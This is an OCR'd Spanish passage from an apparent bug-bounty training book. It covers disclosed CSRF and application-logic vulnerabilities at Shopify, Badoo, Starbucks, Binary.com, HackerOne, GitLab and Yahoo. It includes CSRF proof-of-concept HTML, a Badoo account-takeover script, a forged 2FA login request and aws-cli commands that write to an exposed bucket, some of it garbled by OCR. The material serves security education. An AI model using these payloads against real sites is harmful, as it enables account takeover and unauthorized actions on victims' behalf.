tontos y han habido casos en que ha sido saltado). Este es un campo que identifica la direccion de
la pagina web que esta enlazada a un recurso que esta siendo solicitado. Dicho de otra forma, si la
cabecera Referer de una llamada POST no proviene del mismo sitio que esta recibiendo la solicitud
HTTP, el sitio podria ignorar esa llamada, y por lo tanto, alcanzar el mismo efecto como la validacién
con un token anti CSRF. Adicionalmente, no todos los sitios que utilizan esa proteccién hacen alusiéon
al término csrf cuando estan creando o definiendo un token. Por ejemplo, en Badoo este se refiere
al parametro rt tal como se discute mas abajo.

Enlaces
Revisa la guia de pruebas de la OWASP en OWASP Testing for CSRF*!

Ejemplos

1. Exportar usuarios instalados en Shopify

Dificultad: Baja

URL: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users
Enlace del informe: https://hackerone.com/reports/96470

Fecha del informe: 29 de Octubre, 2015

Recompensa recibida: $500

Descripcion:

"https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005)
2https://hackerone.com/reports/96470
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https://hackerone.com/reports/96470
https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005)
https://hackerone.com/reports/96470
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La API de Shopify provee de un extremo final exportando una lista de usuarios instalados, por medio
de la URL provista arriba. La vulnerabilidad existia cuando un sitio web podia llamar a ese extremo
final y leer la informacion interna ya que Shopify no incluia alguna validacion por medio de token
anti CSRF para esa llamada. Como resultado, el siguiente codigo HTML podia ser usado para enviar
el formulario en nombre de alguna victima desconocida:

<html>
<head><title>csrf</title></head>
<body onload="document.forms[Q].submit()">
<form action="https://app.shopify.com/services/partners/api_clients/1105664/\
export_installed_users" method="GET">
</form>
</body>
</html>

Aqui, con sélo visitar el sitio, el codigo Javascript envia el formulario en el cual se incluye una
llamada GET a la API de Shopify con el buscador web de la victima proporcionando también su
cookie de Shopify.

q& Recomendaciones

Para ampliar el alcance de tu ataque tienes que ver mas alla del sitio web, piensa hacia los
extremos finales, por ejemplo su API. Las API ofrecen un gran potencial de vulnerabilidades
asi que es mejor mantener ambas cosas en mente, especialmente cuando sabes que una API
podria haber sido desarrollada o puesta a disposicion para un sitio mucho tiempo después
que el sitio que la contiene fue desarrollado.

2. Desconeccion de Twitter desde Shopify

Dificultad: Baja

URL: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect
Enlace del informe: https://hackerone.com/reports/111216"

Fecha del informe: 17 de Enero, 2016

Recompensa recibida: $500

Descripcion:

Shopify provee integracién con Twitter para permitir a los propietarios de las tiendas tuitear acerca
de sus productos. De forma similar, también provee la funcionalidad de desconectar una cuenta de
Twitter desde una tienda conectada.

https://hackerone.com/reports/111216
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La URL para desconectar una cuenta de Twitter esta referida arriba. Cuando se hace la llamada,
Shopify no hacia validaciéon del token anti CSRF lo cual, podria haber permitido a una persona
maliciosa hacer una llamada GET en nombre de la victima, y de este modo desconectar la tienda de
la victima desde Twitter.

Al proveer el informe, WeSecureApp proporciond el siguiente ejemplo de una solicitud vulnerable -
fijate abajo, en el uso de una etiqueta img, la cual hace la llamada a la URL vulnerable:

GET /auth/twitter/disconnect HTTP/1.1

Host: twitter-commerce.shopifyapps.com

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0OS X 10.11; rv:43.0) Gecko/2010010\
1 Firefox/43.0

Accept: text/html, application/xhtml+xml, application/xml

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: https://twitter-commerce.shopifyapps.com/account

Cookie: _twitter-commerce_session=REDACTED

>Connection: keep-alive

Debido a que el buscador realiza una solicitud GET para obtener la imagen en la URL proporcionada
no es validado el token anti CSRF, la tienda de un usuario ahora esti desconectada

<html>
<body>
<img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect">
</body>
</html>

q& Recomendaciones

En esta situacion, esta vulnerabilidad podia haber sido encontrada utilizando un Servidor
proxy como Burp Suite o la extensiéon Tamper Data de Firefox, para mirar en las solicitudes
que estaban siendo enviadas a Shopify y notar que esta solicitud estaba siendo realizada
por medio del método GET. Debido a que esta fue una accién destructiva y la solicitud via
GET nunca deberia modificar ningin dato en el Servidor, esto deberia ser algo en lo que
se deberia indagar.

3. Toma completa de control de una cuenta en Badoo

Dificultad: Media
URL: https://badoo.com
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Enlace del informe: https://hackerone.com/reports/127703"
Fecha del informe: 1 de Abril, 2016

Recompensa recibida: $852

Descripcion:

Si haces una revision al sitio de Badoo, te daras cuenta que ellos se protegen contra ataques CSRF al
incluir un parametro rt en la URL, el cual es solamente de 5 digitos de largo (al menos en el tiempo
cuando se escribi6 este informe). Cuando me percaté de esto, al menos cuando Badoo estaba vigente
en HackerOne, no pude encontrar una forma cémo explotar esto. Sin embargo, Mahmoud Jamal
(zombiehelp54) lo hizo.

Conociendo el parametro y su valor, él también se dio cuenta que el parametro era devuelto en al
menos todas las respuestas json. Desafortunadamente esto no fue util, dado que la Comparticion de
Recursos de Origenes Cruzados (CORS) protege a Badoo de que los atacantes lean esas respuestas.
Asi que Mahmoud se mantuvo profundizando en esto.

Volviendo, el archivo https://eul.badoo.com/worker -scope/chrome-service-worker. js conte-
nia el valor de rt. AGn mejor, si este archivo podia ser leido arbitrariamente por un atacante sin
necesitar que la victima realizara alguna accion, excepto visitar la pagina web maliciosa. Este es el
codigo que él proporciono:

<html>
<head>
<title>Toma de control de una cuenta de Badoo</title>
<script src=https://eul.badoo.com/worker-scope/chrome-service-worker. js?ws=1></s\
cript>
</head>
<body>
<script>
function getCSRFcode(str) {
return str.split('=")[2];
}

window.onload

function(){

var csrf_code = getCSRFcode(url_stats);

csrf_url = 'https://eul.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear\
08KQaXo609JkArgo julgZoPc&authuser=3&session_state=7cb85df679219ceT71044666cTbe3ed\
37f£54b560. .a810&prompt=none&rt="'+ csrf_code;

window.location = csrf_url;

}s

</script>

"https://hackerone.com/reports/127703
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Practicamente, cuando una victima cargaba la pagina, esta llamaba al script de Badoo, tomaba el
parametro rt del usuario y luego hacia una llamada en nombre de la victima. De esta manera, estaba
enlazando la cuenta de Mahmoud con la cuenta de la victima, lo que significa la toma completa de
control de una cuenta.

q& Recomendaciones

Donde hay humo hay fuego. Aqui, Mahmoud se dio cuenta que el parametro rt estaba
siendo devuelto en diferentes ubicaciones, en respuestas json en particular. A pesar de eso,
¢l adiviné acertadamente que ese parametro podia mostrarse en algin otro lugar donde
podria ser explotado - en este caso, un archivo js.

Yendo mas all4, si sientes que algo no anda bien, continda profundizando. Utiliza Burp
Suite, revisa todos los recursos que estan siendo invocados cuando visites un sitio o una
aplicacion que sea tu objetivo.

Resumen

CSREF representa otro vector de ataque y que podria ser ejecutado sin que una victima lo sepa o que
esté realizando activamente alguna acciéon. Encontrar vulnerabilidades CSRF podria tomar un poco
de ingenuidad y un deseo de evaluar todo lo que pase por enfrente.

Generalmente, los formularios son protegidos uniformemente por frameworks como Rails si es que
el sitio esta realizando una solicitud POST, pero con las APIs puede ser una situacion muy diferente.
Por ejemplo, Shopify esta escrita pricipalmente usando el framework de Ruby on Rails el cual
proporciona proteccion contra CSRF para todos los formularios de forma predeterminada (aunque
ese comportamiento puede ser deshabilitado). Sin mebargo, claramente que esto no es necesario en
el caso para las APIs que son creadas con el framework. Por tltimo, echa un vistazo a cualquier
llamada que haga cambios en los datos del Servidor (como las acciones de eliminar) las cuales estan
siendo realizadas por una peticion GET.



Vulnerabilidades en la l6gica de la
Aplicacion

Descripcion

Vulnerabilidades en la logica de la Aplicacion son diferentes a los otros tipos que ya hemos visto y
discutido, ya sea Inyeccion HTML, Contaminacién de Parametros HTTP, XSS, todas envuelven de
alguna manera el envio de una entrada con datos maliciosos. Las vulnerabilidades relacionadas a la
légica de la Aplicacion tiene que ver con la manipulacién de diferentes escenarios y explorar errores
en la codificacion de la aplicacion web.

Un ejemplo notable de este tipo de ataque fue mostrado por Egor Homakov en contra de GitHub,
dicho sitio utiliza Ruby on Rails. Si no estas familiarizado con Rails, éste es un framework web muy
popular el cual toma el cuidado de varias tareas pesadas al momento de desarrollar un sitio web.

En Marzo de 2012, Egor advirti6 a la Comunidad Rails que, de forma predeterminada, Rails podria
aceptar todos los parametros que se le enviaran y utilizar esos valores en la actualizacion de
los registro de las bases de datos (dependiendo de la implementacién de los programadores). El
pensamiento de los principales desarrolladores de Rails era que los programadores web que utilizaran
Rails deberian ser responsables de cerrar este agujero de seguridad y definir cuales valores deberian
ser enviados por un usuario para actualizar los registros. Este comportamiento ya era muy conocido
dentro de la Comunidad, no obstante el hilo en GitHub muestra cuan pocos fueron los que apreciaron
el riesgo que esto poseia https://github.com/rails/rails/issues/5228".

Cuando los principales desarrolladores desacordaron con él, Egor decidié explotar una vulnerabili-
dad de autenticacion en GitHub por medio de la adivinacién y envio de valores en los parametros
los que incluian una fecha de creacion (no tan dificil si ya habias trabajado con Rails y sabias que
la mayoria de registros incluyen un campo de creado y actualizado en la base de datos). Como
resultado, él cred un ticket en GitHub con fecha de muchos afios en el futuro. También, él hizo
actualizar las claves de acceso SSH, lo cual le permitié acceder al repositorio oficial del cédigo de
GitHub.

Como se menciond, el hackeo fue hecho posible por la via del backend del c6digo de GitHub, el cual
no autenticaba apropiadamente qué era lo que Egor estaba haciendo, por ejemplo, que él no debia
haber tenido permiso para enviar valores para la fecha de creacion, lo que posteriormente seria usado
para actualizar registros en la base de datos. En este caso, Egor encontré lo que se conoce como una
vulnerabilidad de asignaciéon masiva.

Phttps://github.com/rails/rails/issues/5228
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Las vulnerabilidades en la 16gica de la Aplicacion son un poco dificiles de encontrar comparado
a los tipos de ataques discutidos anteriormente porque estos tienen que ver con la creatividad de
pensamiento acerca de las decisiones de codificacion y no se trata solamente de enviar cédigo
potencialmente malicioso en el cual los programadores no escaparon las entradas de datos (sin tratar
aqui de minimizar otros tipos de vulnerabilidades, como algunos ataques XSS que estan mas alla de
lo complejo!).

Con el ejemplo de GitHub, Egor sabia que el sistema estaba basado en Rails y como Rails manejaba
la entrada de usuario. En otros ejemplos, esto puede tratarse de hacer llamadas a la API de forma
programada para probar el comportamiento con el cual se complementa un sitio web, como se vera
en el ejemplo de sobrepasar el privilegio del Administrador en Shopify que se encuentra mas abajo. O
tratar de reutilizar valores devueltos de llamadas de autenticacién a la API para hacer otras llamadas
subsecuentes, lo cual no deberia estar permitido hacerlo.

Ejemplos

1. Sobrepasar privilegio de Administrador en Shopify

Dificultad: Baja

URL: shop.myshopify.com/admin/mobile_devices.json
Enlace del informe: https://hackerone.com/reports/100938*¢
Fecha del informe: 22 de Noviembre, 2015

Recompensa recibida: $500

Descripcion:

Shopify es una plataforma enorme y robusta, la cual incluye una interfaz web para el usuario
y APIs de ayuda. En este ejemplo, la API no validaba algunos permisos que aparentemente la
interfaz de usuario web si lo hacia. Como resultado, los administradores de la tienda, quienes no
tenian permitido recibir notificaciones por email podian sobrepasar esa configuracién de seguridad
manipulando el punto final de la API para recibir notificaciones en sus dispositivos Apple.

De acuerdo a lo mostrado en el informe, el hacker podria haber tenido acceso a:

Registrarse en la aplicacion movil con una cuenta de acceso completo

Interceptar la solicitud POST hacia /admin/mobile_devices.json

Borrar todos los permisos de esa cuenta
Borrar la notificacion movil anadida

Repetir la solicitud POST hacia /admin/mobile_devices.json

https://hackerone.com/reports/100938
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Después de hacer esos pasos, ese usuario podia recibir notificaciones moviles para todas las 6rdenes
puestas en la tienda y de esta manera ignorar las configuraciones de seguridad establecidas.

q& Recomendaciones

Hay dos recomendaciones importantes. La primera, no todo es de inyectar codigo, HTML,
etc. Recuerda siempre utilizar un proxy y ver qué informacion esté siendo pasada al sitio y
jugar con eso para ver qué sucede. En este caso, todo lo que tuvo que hacer para sobrepasar
las revisiones de seguridad fue borrar parametros de la solicitud POST. Segundo, de nuevo,
no todos los ataques son basados sobre paginas HTML. Los puntos finales de las APIs
siempre presentan un area potencial de vulnerabilidades, asi que acuérdate de considerar
y probar ambas opciones.

2. Condicion de carrera en Starbucks

Dificultad: Media

URL: Starbucks.com

Enlace del informe: http://sakurity.com/blog/2015/05/21/starbucks.html"’

Fecha del informe: 21 de Mayo, 2015

Recompensa recibida: $0

Descripcion:

Si no te encuentras familiarizado con las condiciones de carrera, esta se trata de dos procesos
potenciales que compiten entre si por completarse basado en una situacion inicial, la cual viene
a ser invalida mientras que las dos solicitudes vienen a ser ejecutadas. Dicho de otra forma, esta
es una situacion donde tienes dos procesos lo cuales deberian ser mutuamente exclusivos, y que

de ninguna manera ambos puedan completarse, pero, debido a que ocurren simultaneamente casi
juntos, ambos vienen a ser permitidos.

Aqui esta un ejemplo,

1. Ingresas desde tu teléfono en el sitio web tu cuenta bancaria “A” y solicitas una transferencia
de $500 hacia otra de tus cuentas, la cual llamaremos cuenta “B”. En tu cuenta “A” tan sélo
tienes $500.

2. La solicitud de transferencia tarda demasiado (pero todavia se esta procesando), asi que te
registras en tu cuenta “A” desde tu laptop y haces la misma solicitud.

3. La solicitud hecha desde la laptop finaliza casi inmediatamente y también finaliza la solicitud
que hiciste desde tu teléfono.

http://sakurity.com/blog/2015/05/21/starbucks.html
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4. Te registras en tu cuenta “B” y cuando actualizas ves que tienes $1000. Esto significa que la
solicitud fue procesada dos veces, tanto desde la laptop como desde tu teléfono, lo cual no
tenia que haberse permitido porque solamente tenias $500 inicialmente en tu cuenta “A”.

Mientras que esto es algo demasiado basico, la nocion es la misma. Algunas condiciones se crean al
empezar una solicitud y cuando esta sea completada que ya no exista mas.

Asi que, regresando a nuestro ejemplo, Egor prob¢ transferir dinero de una tarjeta Starbucks y se
encontré con que podia invocar una condicion de carrera de forma exitosa. Las solicitudes fueron
creadas de forma casi simultanea con el programa cURL.

q& Recomendaciones

Las condiciones de carrera son un vector de vulnerabilidad muy interesante y que algunas
veces existen en aplicaciones que tienen que ver con algin tipo de balance como dinero,
créditos, etc. Encontrar la vulnerabilidad no siempre sucede en el primer intento y podria
ser necesario hacer muchas solicitudes repetidamente de forma simultanea. Aqui, Egor hizo
6 solicitudes antes de que la prueba resultase exitosa. Pero recuerda, cuando te encuentres
probando este vector se respetuoso con la carga de trafico y evita martillar sitios haciendo
muchas pruebas de solicitudes continuas.

3. Escalacion de privilegios en Binary.com

Dificultad: Baja

URL: binary.com

Enlace del informe: https://hackerone.com/reports/98247*

Fecha del informe: 14 de Noviembre, 2015

Recompensa recibida: $300

Descripcion:

Esta es una vulnerabilidad muy directa, la cual no necesita tanta explicacion.

En esencia, para este ejemplo un usuario podia registrarse en cualquier cuenta y ver informacion
sensible o realizar acciones en nombre de la cuenta del usuario hackeado. Todo lo que se necesitaba
saber era el identificador de cuenta del usuario.

Antes del hack, si te registrabas en Binary.com/cashier e inspeccionabas la pagina HTML, podias
fijarte en una etiqueta <iframe> la cual incluia un parametro llamado PIN. Ese parametro se trataba
nada mas ni nada menos que de tu identificador de cuenta.

®https://hackerone.com/reports/98247
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Por lo tanto, si editabas el HTML e insertabas otro PIN, el sitio podria realizar automaticamente una
accion en la nueva cuenta sin validar la contrasefa o cualquiera de las otras credenciales. En otras
palabras, el sitio podia tratarte como el propietario de la otra cuenta que acabas de proporcionar.

Nuevamente, todo lo que se necesit6 saber es el nimero de cuenta de alguien mas. Aun podias
haber cambiado el evento que sucede con el iframe PAGOS para invocar una acciéon de pagos hacia
otra cuenta. Sin embargo, Binary.com indica que todos los retiros requieren revisién humana de
forma manual, pero eso no significa necesariamente que por ese tipo de revisiéon podria haber sido
descubierta...

qt Recomendaciones

Si estéas en busca de vulnerabilidades basadas en autenticacién, permanece en la busqueda
donde las credenciales sean pasadas al sitio. Mientras que esta vulnerabilidad fue atrapada
buscando en el codigo fuente de la pagina, también puedes haberte dado cuenta de esa
informacién cuando estaba siendo pasada al utilizar un proxy interceptador.

Si encuentras algtn tipo de credenciales que estan siendo transmitidas, toma nota cuando
éstas parezcan que no estan siendo encriptadas e intenta jugar con ellas. En este caso, el pin
era solamente CRXXXXXX mientras que la contrasefia era 0e552ae717a1d08cb134f132...
podemos ver claramente que el PIN no estaba siendo encriptado mientras que la contrasefia
si. Valores sin encriptar representan un area magnifica por donde empezar a jugar.

4. Manipulacion de Seinal en HackerOne

Dificultad: Baja

URL: hackerone.com/reports/XXXXX

Enlace del informe: https://hackerone.com/reports/106305"
Fecha del informe: 21 de Diciembre, 2015

Recompensa recibida: $500

Descripcion:

A final de 2015, HackerOne introdujo una funcionalidad nueva al sitio llamada Sefial. Basicamente,
esto ayuda a identificar la efectividad de un informe de vulnerabilidad previamente reportado por
un Hacker una vez que los informes han sido cerrados. Es importante mencionar que los usuarios de
la plataforma HackerOne pueden cerrar sus propios informes, lo que suponia en un resultado final
que no tendra alteracion alguna en la Reputacion y en la Senal...

Asi que, como podras adivinar, a probar la nueva funcionalidad se ha dicho. Un hacker descubrio
que la funcionalidad recién introducida no estaba implementada apropiadamente y permitia a un

"https://hackerone.com/reports/106305
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atacante crear un informe a cualquier equipo (empresa), cerrar su mismo informe y recibir un
incremento de Senal.

Y eso era todo lo que tenia que hacer...

q& Recomendaciones

Aunque sea corta la descripcion, la comendacion aqui esta mas que declarada, permanece
en la busqueda de funcionalidades nuevas!. Cuando un sitio implementa una funcionali-
dad nueva, eso es como carne fresca para los hackers. Funcionalidades nuevas representan
la oportunidad de probar nuevo cédigo y buscarle errores. Este es el mismo caso del CSRF
de Shopify con Twitter y vulnerabilidades XSS en Facebook. Para sacar el maximo provecho
de esto, es buena idea que te familiarices con las compariias y te suscribas a sus blogs, asi
seras notificado cuando algo nuevo sea puesto en ejecucion. Entonces, diviértete haciendo
pruebas.

5. Recipientes S3 abiertos en Shopify

Dificultad: Media

URL: cdn.shopify.com/assets

Enlace del informe: https://hackerone.com/reports/98819°
Fecha del informe: 9 de Noviembre, 2015

Recompensa recibida: $1,000

Descripcion:

El Servicio de almacenamiento Simple de Amazon, S3, es un servicio que permite a los clientes
almacenar y servir archivos desde los servidores de la nube de Amazon. Shopify y muchos otros
sitios utilizan S3 para almacenar y servir contenido estatico, como por ejemplo imagenes.

El gran salon de los Servicios Web de Amazon, AWS, es muy robusto e incluye un sistema de
administracion de permisos que permite a los administradores definir permisos por servicio, incluido
S3. Los permisos incluyen la capacidad de crear buckets S3 (un bucket o recipiente, es como una
carpeta de almacenamiento), hay permisos de leer y escribir en los recipientes, entre otra gran
variedad de permisos.

De acuerdo al informe, Shopify no configuré de forma apropiada los permisos de sus recipientes S3 e
inadvertidamente permitia a cualquier usuario autenticado en AWS leer y escribir en sus recipientes.
Obviamente esto es problematico porque ti no quisieras que hackers de sombrero negro usaran tus
recipientes para almacenar y servir sus archivos, como minimo.

Desafortunadamente, los detalles de este informe no fueron divulgados, pero la forma como
descubrieron estos recipientes fue con la linea de comandos (CLI) de AWS, que es como una caja

Ohttps://hackerone.com/reports/98819
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de herramientas, la cual permite interactuar con los sericios de AWS desde tu linea de comandos.
Debido a que podrias necesitar una cuenta de AWS para realizar estas pruebas, actualmente crear
una cuenta es totalmente gratis en tanto que no necesites habilitar cualquiera de sus serivicios. Como
resultado, con la linea de comandos, podrias autenticarte en AWS y luego probar los accesos (Esto es
lo que hice exactamente y asi fue como encontré los recipientes de HackerOne, lo cual esta detallado
mas abajo).

Q¢ Recomendaciones

Cuando estéas determinando el alcance de un objetivo potencial asegurate de tomar nota
de todas las herramientas, incluyendo servicios web que pueden estarse utilizando. Cada
servicio, software, Sistema Operativo, etc. que puedas encontrar revela un potencial vector
de ataque nuevo. Adicionalmente es recomendable que te familiarices con las herramientas
web mas populares como S3 de AWS, Zendesk, Rails, etc. dado que muchos sitios los
utilizan.

6. Reipientes S3 abiertos en HackerOne

Dificultad: Media

URL: [REDACTADA].s3.amazonaws.com

Enlace del informe: https://hackerone.com/reports/128088>*
Fecha del informe: 3 de Abri, 2016

Recompensa recibida: $2,500

Descripcion:

Aqui vamos a hacer algo un poco distinto. Esta es una vulnerabilidad que descubri y es un poco
distinta a la vlnerabilidad de Shopify descrita mas arriba, asi que voy a compartir en detalle acerca
de como la encontré.

Asi que, empecemos. La vulnerabilidad descrita mas arriba se trataba de un recipiente que estaba
publicamente enlazado con Shopify. Lo que significa que, cuando tu visitabas tu tienda, podrias ver
las llamadas al servicio S3 de Amazon, asi que un hacker sabia a cual recipiente apuntar. Yo no lo
hice asi - el recipiente que hackeé lo encontré con un script muy genial y con un poco de ingenuidad.

Durante la semana del 3 de Abril, no sabia por qué pero decidi intentarlo, empecé a pensar fuera
de lo normal (pensar fuera de la caja) y decidi atacar a HackerOne. Estuve jugando con su sitio
desde el inicio y me estuve dando patadas en el culo yo mismo cada vez que una vulnerabilidad
nueva con todo y sus datos de divulgaciéon era reportada, preguntandome cémo la habia dejado
pasar. Me cuestioné si sus recipientes S3 eran vulnerables como los de Shopify. También me estuve
preguntando como el hacker habia accedido al recipiente de Shopify... Imaginé que tenia que haberlo
hecho usando las herramientas de linea de comandos de Amazon.

*Thttps://hackerone.com/reports/128088
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Ahora, normalmente podria haberme detenido pensando que no habia forma que la plataforma de
HackerOne hubiese sido vulnerable después de todo este tiempo. Pero una de las muchas cosas que
me impresionaron de la entrevista que tuve con Ben Sadeghipour (@Nahamsec) es que no debia
dudar de mi mismo o de la capacidad que una compariia cometa errores.

Asi que busqué en Google algunos detalles y me fui a través de dos paginas interesantes:
Hay un agujero en 1,951 recipientes S3 de Amazon®
Buscador de recipientes S3*°

La primera pagina es un articulo muy intersante de Rapid7, una compaiiia de seguridad, la cual
habla de como ellos descubrieron recpientes S3 que tenian permiso de escritura publicamente y lo
hicieron por medio de rastreo con script o adivinando el nombre del recipiente.

La segunda pagina es sobre una herramienta muy genial la cual toma una lista de palabras y hace
llamadas a S3 en busca de recipientes... Sin embargo, esto no vino a realizarse con su lista propia. Pero
habia una linea que fue clave en el articulo de Rapid7, “...Adivinar nombres a través de unos cuantos
diccionarios de palabras... Listas de nombres de compaiiias de Fortune 1000 con permutaciones en
.com, -backup, -media...

Eso fue muy interesante, asi que rapidamente creé una lista de nombres potenciales para HackerOne
tales como

hackerone, hackerone.marketing, hackerone.attachments, hackerone.users, hackerone.files,
etc.

Ninguno de esos nombres son recipientes reales - ellos lo redactaron del informe, asi que estoy
respetando esa decision. Ademas, estoy seguro que tu también eres capaz de encontrarlo. Asi que
dejaré eso como un desafio.

Ahora, usando el script de Ruby, empecé a hacer las llamadas a los recipientes. Tal como lo imaginé
las cosas no lucian nada bien. Encontré unos cuantos recipientes, pero el acceso estaba denegado.
Sin suerte alguna, me fui a ver NetFlix.

Pero esa idea caminaba en mi cabeza. Asi que antes de irme a dormir, decidi ejecutar el script
nuevamente con mas permutaciones. Nuevamente encontré recipientes que parecian pertenecer a
HackerOne, pero todos tenian acceso denegado. Me di cuenta que el acceso denegado al menos decia
que el recipiente existia.

Abri el script de Ruby y pude ver que estaba haciendo llamadas con el equivalente de la funcién Is
sobre los recipientes. En otras palabras, estaba intentado ver si tenian lectura publicamente - luego,
quise saber si podia revisar o determinar si los recipientes eran ESCRIBIBLES publicamente.

**https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets
https://digi.ninja/projects/bucket_finder.php
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Ahora, como nota adjunta, AWS provee de uan herramienta de Linea de Comandos, aws-cli. Lo sabia
porque ya la habia utilizado anteriormente, asi que un rapido sudo apt-get -install- aws-cli en la ter-
minal de mi maquina virtual y ya tenia las herramientas. Las configuré con mi cuenta AWS y ya esta-
ba listo. Puedes encontrar informacién como hacer esto en docs.aws.amazon.com/cli/latest/userguide/installing.html

Ahora, el comando aws s3 help abrira la ayuda de S3 y el detalle los comandos disponibles, alrededor
de 6 al momento de escribir este informe. Uno de esos comandos es mv el cual se utiliza de esta forma
aws s3 mv [ARCHIVO] [s3://RECIPIENTE]. En mi caso intenté:

touch test.txt
aws s3 mv test.txt s3://hackerone.marketing

Este fue el primero de los recipientes en cual obtuve acceso denegado Y el resultado fue...
“movimiento fallido: ./test.txt to s3://hackerone.marketing/test.txt Sucedié un error de cliente
(AccesoDenegado) cuando se llamaba a la operacion PutObject: Acceso Denegado.”

Asi que intenté en el siguiente recipiente aws s3 mv test.txt s3://hackerone.files Y... EXITO! Obtuve
el mensaje “movimiento: ./test.txt hacia s3://hackerone.files/test.txt”

Sorprendente! Ahora intenté borrar el archivo: aws s3 rm s3://hackerone.files/test.txt Y nueva-
mente, EXITO!

Pero ahora, volvi a mi duda. Rapidamente me registré en HackerOne para informar sobre esto vy,
mientras escribia, me di cuenta que no podia confirmar el propietario del recipiente... AWS S3
permite a cualquiera poder crear un recipiente en un espacio de nombre global. Lo que significa
que, tu, el lector, podrias haber sido el actual propietario del recipiente que yo estaba hackeando.

No estaba seguro si debia reportarlo sin antes confirmar. Busqué en Google para ver si encontraba
alguna referencia al recipiente y ... nada. Me retiré de la computadora a limpiar mi mente. Me
imaginaba lo peor, que podia obtener otro informe que no aplica (N/A)y una puntuacion de -5 en
Reputacion. Por el otro lado, imaginé que esto merecia al menos una recompensa de $500 o $1000
basado en la vulnerabilidad de Shopify.

Presioné el boton de enviar y me fui a la cama. Cuando desperté, HackerOne habia respondido
felicitindome por el hallazgo y notificando que ya habian arreglado el problema con ese recipiente
y con otros cuantos que eran vulnerables. Exito! y con respecto al crédito cuando otorgaron la
recompensa, ellos midieron la severidad potencial de esto e incluyeron los otros recipientes que
no habia encontrado pero que eran vulnerables.
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q& Recomendaciones

Hay multiples recomendaciones sobre esto:

1. No menosprecies tu ingenuidad y los potenciales errores de los desarrolladores. Hac-
kerOne es un equipo sorprendente con investigadores de seguridad sorprendentes.
Pero las personas cometen errores. Desafia sus presunciones.

2. No te rindas al primer intento. Cuando encontré esto, la busqueda de cada recipiente
no fue facil y casi me retiraba. Pero luego intenté escribir un archivo y entonces
funciond.

3. Todo esto se trata de conocimiento. Si sabes qué tipos de vulnerabilidades existen,
sabras qué es lo que vas a buscar y qué vas a probar. Comprar este libro ha sido tu
primer gran paso.

4. Yalo he dicho antes, y lo diré de nuevo, una superficie de ataque es mas que un sitio
web, también se trata de los servicios que la compania esta utilizando. Piensa fuera
de la caja, piensa fuera de lo normal.

7. Soberpasando la Autenticacion de Factor Doble en GitLab

Dificultad: Media

URL: N/A - No disponible

Enlace del informe: https://hackerone.com/reports/128085*
Fecha del informe: 3 de Abril, 2016

Recompensa recibida: N/A - No disponible

Descripcion:

El 3 de Abril, Jobert Abma (Co-Fundador de HackerOne) informé a GitLab que en la autenticacion
de factor doble habilitada, un atacante podia registrarse en la cuenta de una victima sin saber la
contrasefia de la victima.

Para aquellos que no estan familiarizados, la autenticacién de factor doble es un proceso de dos
pasos para registrarse - tipicamente, un usuario ingresa su nombre de usuario y contrasefia, luego el
sitio le envia un codigo de autorizacion, usualmente via correo electronico o por mensaje de texto,
el cual tiene que escribir para finalizar el proceso de ingreso.

En este caso, Jobert se dio cuenta que durante el proceso de ingreso, una vez que el atacante escribiera
su nombre de usuario y su contrasefia un token era enviado para finalizar el proceso de registro.
Cuando enviaba el token, la llamada hecha con el método POST lucia algo como esto:

**https://hackerone.com/reports/128085
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POST /users/sign_in HTTP/1.1

Host: 159.xxX.XXX.XXX

---------- 1881604860
Content-Disposition: form-data; name="user [otp_attempt/"

212421
---------- 1881604860- -

Si un atacante la interceptaba y afiadia otro nombre de usuario a la llamada, por ejemplo:

POST /users/sign_in HTTP/1.1

Host: 159.xxX.XXX.XXX

---------- 1881604860
Content-Disposition: form-data; name="user [otp_attempt/"

212421
---------- 1881604860
Content-Disposition: form-data; name="user[login]"

.......... 1881604860- -

El atacante podia haberse registrado en la cuenta de John si el token era valido. En otras palabras,
durante el proceso de autenticacién de factor doble, si un atacante afiadia un parametro user[login],
podia cambiarlo y hubiera estado registrado dentro de la cuenta de la victima.

Ahora bien, lo tnico incierto aqui es que el atacante debia tener un token OTP que fuese valido
para la cuenta de la victima. Pero aqui es donde podria entrar en juego la fuerza bruta. Si los
administradores del sitio no implementaban una cuota de intentos validos que lo limitara, Jobert
podia haber sido capaz de hacer llamadas repetidas al Servidor para adivinar un token que fuese
valido. La posibilidad para que un ataque sea exitoso podria depender del tiempo en transito del
envio de la solicitud al Servidor y el limite de tiempo que un token es valido, pero sin que eso tenga
gran importancia, esta vulnerabilidad parece bastante evidente.

q& Recomendaciones

La autenticacion de factor doble es un poco complicada para hacerla bien. Cuando notes
que un sitio la utilice vas a querer probar todas sus funcionalidades, incluyendo el tiempo
de duracién de un token, nimero maximo de intentos, reutilizaciéon de tokens vencidos y
posiblemente la adivinaciéon de un token, etc.
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8. Divulgacion de informacién de PHP en Yahoo

Dificultad: Media
URL: http://nc10.n9323.mail.nel.yahoo.com/phpinfo.php

Enlace del informe: https://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-
2/25

Date Disclosed: 16 de Octubre, 2014
Recompensa recibida: N/A - No disponible
Descripcion:

Mientras que este informe no tuvo un pago enorme como algunas de las otras vulnerabilidades (de
hecho pagaron $0 lo cual es sorprendente!), lo he incluido porque es uno de mis informes favoritos
ya que este me ayudo a educarme en la importancia del escaneo de red y la automatizacion.

En Octubre de 2014, Patrik Fehrenbach (a quien debes recordar en la entrevista #2 de Consejos de
Hacking Profesional - un gran muchacho!) encontré un Servidor de Yahoo con acceso a un archivo
que tenia el contenido de la funcién phpinfo(). Si no estas familiarizado con phpinfo(), esta es una
funcién muy sensible la cual nunca deberia estar en un Servidor en produccién. Dejarlo disponible
publicamente es similar a divulgar todo tipo de informacion acerca del Servidor.

Ahora, imagino que te has de estar preguntando como Patrik encontré el servidor http://nc10.n9323.mail.nel.yahoo.c

- te lo aseguro. Veamos, él hizo ping a yahoo.com el cual le devolvi6 esta direccion 98.138.253.109.
Luego el pas6 esa direccion al comando WHOIS y descubrié que Yahoo actualmente posee lo
siguiente:

NetRange: 98.136.0.0 - 98.139.255.255

CIDR: 98.136.0.0/14

OriginAS:

